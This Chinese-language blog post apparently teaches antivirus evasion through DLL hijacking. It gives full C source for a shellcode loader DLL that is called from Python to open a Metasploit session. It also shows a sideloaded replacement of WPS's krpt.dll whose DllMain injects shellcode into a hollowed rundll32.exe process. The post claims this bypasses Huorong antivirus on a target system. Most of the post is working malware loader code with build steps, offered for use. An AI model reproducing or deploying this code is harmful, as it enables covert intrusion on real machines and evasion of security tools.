• 免杀对抗-DLL劫持免杀


    C&Py-DLL劫持-语言-调用加载

    1.使用visual studio创建项目

    2.将文件名重命名为.c后缀

    3.将如下加载器代码生成dll文件

    加载器代码:

    1. #include "pch.h"
    2. #include
    3. #include
    4. #include
    5. #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
    6. unsigned char buf[] =生成的shellcode;
    7. int main()
    8. {
    9. char* Memory;
    10. Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    11. memcpy(Memory, buf, sizeof(buf));
    12. ((void(*)())Memory)();
    13. }

    生成成功

    4.msf开启监听

    5.使用python执行如下代码,调用dll文件

    dll.py

    from ctypes import *

    #利用python载入dll文件

    lib=CDLL('生成的dll文件路径')

    #调用dll文件内置方法函数

    lib.main()

    执行成功,msf成功上线

    6.使用打包器将dll.py文件打包成exe,执行成功上线

     

    C&C++-DLL劫持-白加黑-导出编译

    1.随便选中一个exe程序运行,使用火绒剑查看这个exe程序在运行时加载的dll文件

    这里选择的是wps中的et.exe程序,运行发现加载了一个krpt.dll文件

    2.使用Dependencies工具对krpt.dll进行反编译

    3.右键导出krpt.dll源码

    4.使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。

    5.选中dll源码拖入项目,工具就会自动加载源码

    6.打开asm文件,将所有的jmp语句删除

    7.根据文件中的教程,选中文件——右键属性——如下图修改——点击应用。

    配置时注意:

    配置:选择所有配置

    平台:选择所有平台

    8.根据教程——继续打开asm文件的属性进行配置

    9.项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)

    10.预编译头——不使用预编译头

    11.链接器——调试——生成调试信息——否

    12..c文件中添加如下一行代码

    13.打开.cpp文件,写入shellcode加载代码(可任意)

    如:

    1. #include "framework.h"
    2. #include "krpt.h"
    3. #include "windows.h"
    4. BOOL APIENTRY DllMain(HMODULE hModule,
    5. DWORD ul_reason_for_call,
    6. LPVOID lpReserved
    7. )
    8. {
    9. switch (ul_reason_for_call)
    10. {
    11. case DLL_PROCESS_ATTACH:
    12. {
    13. unsigned char hexData[] = "生成的shellcode";
    14. char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);
    15. memcpy((void*)v7A, hexData, _countof(hexData));
    16. struct _PROCESS_INFORMATION ProcessInformation;
    17. struct _STARTUPINFOA StartupInfo;
    18. void* v24;
    19. CONTEXT Context;
    20. DWORD DwWrite = 0;
    21. memset(&StartupInfo, 0, sizeof(StartupInfo));
    22. StartupInfo.cb = 68;
    23. BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
    24. if (result)
    25. {
    26. Context.ContextFlags = 65539;
    27. GetThreadContext(ProcessInformation.hThread, &Context);
    28. v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);
    29. WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);
    30. Context.Eip = (DWORD)v24;
    31. SetThreadContext(ProcessInformation.hThread, &Context);
    32. ResumeThread(ProcessInformation.hThread);
    33. CloseHandle(ProcessInformation.hThread);
    34. result = CloseHandle(ProcessInformation.hProcess);
    35. }
    36. TerminateProcess(GetCurrentProcess(), 0);
    37. };
    38. case DLL_THREAD_ATTACH:
    39. case DLL_THREAD_DETACH:
    40. case DLL_PROCESS_DETACH:
    41. break;
    42. }
    43. return TRUE;
    44. }

    成功生成dll文件

    14.将生成的dll文件改名位krpt.dll和et.exe一起上传到目标系统

    运行et.exe,成功绕过火绒检测,msf成功上线

  • 相关阅读:
    Q_PLUGIN_METADATA
    Haproxy负载均衡
    微信小程序 prettier 格式化
    Servlet——进阶
    RADServer应用程序的交钥匙应用程序基础
    Hudi Spark SQL Call Procedures学习总结(一)(查询统计表文件信息)
    STL基础知识
    剪切的东西不见了怎么找回来?
    python 笔记(3)——request、爬虫、socket、多线程
    flink源码分析之功能组件(四)-slot管理组件I
  • 原文地址:https://blog.csdn.net/m0_51345235/article/details/133544965